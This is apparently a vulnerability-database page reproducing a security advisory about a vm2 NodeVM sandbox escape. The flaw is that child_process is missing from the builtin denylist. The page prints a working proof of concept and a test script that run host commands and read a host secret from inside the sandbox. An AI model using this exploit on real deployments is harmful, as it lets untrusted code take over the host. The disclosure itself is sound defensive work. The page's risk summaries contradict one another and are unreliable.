Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-pq68-rvw4-xp4r

CriticalCVSS 10 / 10
Published Oct 7, 2026·Last modified Oct 7, 2026
Affected Components(1)
npm logovm2
< 3.12.1
Description

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.

This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.

Details

lib/builtin.js:

  • DANGEROUS_BUILTINS (lines 83‑179) — the Set of denied builtins. child_process does not appear anywhere in it.
  • isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process.
  • BUILTIN_MODULES (lines 209‑210) — the source list that the '*' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process remains in '*'.
  • addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.

The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.

PoC

const { NodeVM } = require('vm2');

const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
  module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');

console.log(r);   // -> "uid=1000(user) gid=1000(user) groups=..."   host command execution

Verified results: | config | require('child_process') | |---|---| | { builtin: ['*'] } | RCE — host id + host env read | | { builtin: ['*', '-fs'] } (documented subtract pattern) | RCE — subtracting other modules does not remove it | | { builtin: ['child_process'] } | RCE — explicit name admitted despite the "never, even if named" invariant | | { builtin: ['fs'] } (control) | denied — Cannot find module 'child_process' |

Impact

Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').

builtin-child_process-denylist-gap-rce.js

'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));

process.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}

function tryConfig(label, opts) {
  try {
    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
      try {
        const cp = require('child_process');
        return {
          reached: true,
          id: cp.execSync('id').toString().trim(),
          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
        };
      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
    })()`, 'plugin.js');
    console.log(label, '=>', JSON.stringify(r));
    return r;
  } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}

console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']}        ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']}  ", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } });          // control: not allowed -> denied

const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
        && b && b.reached
        && c && c.reached === false;
console.log(ok
  ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
  : "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);
Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.48%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard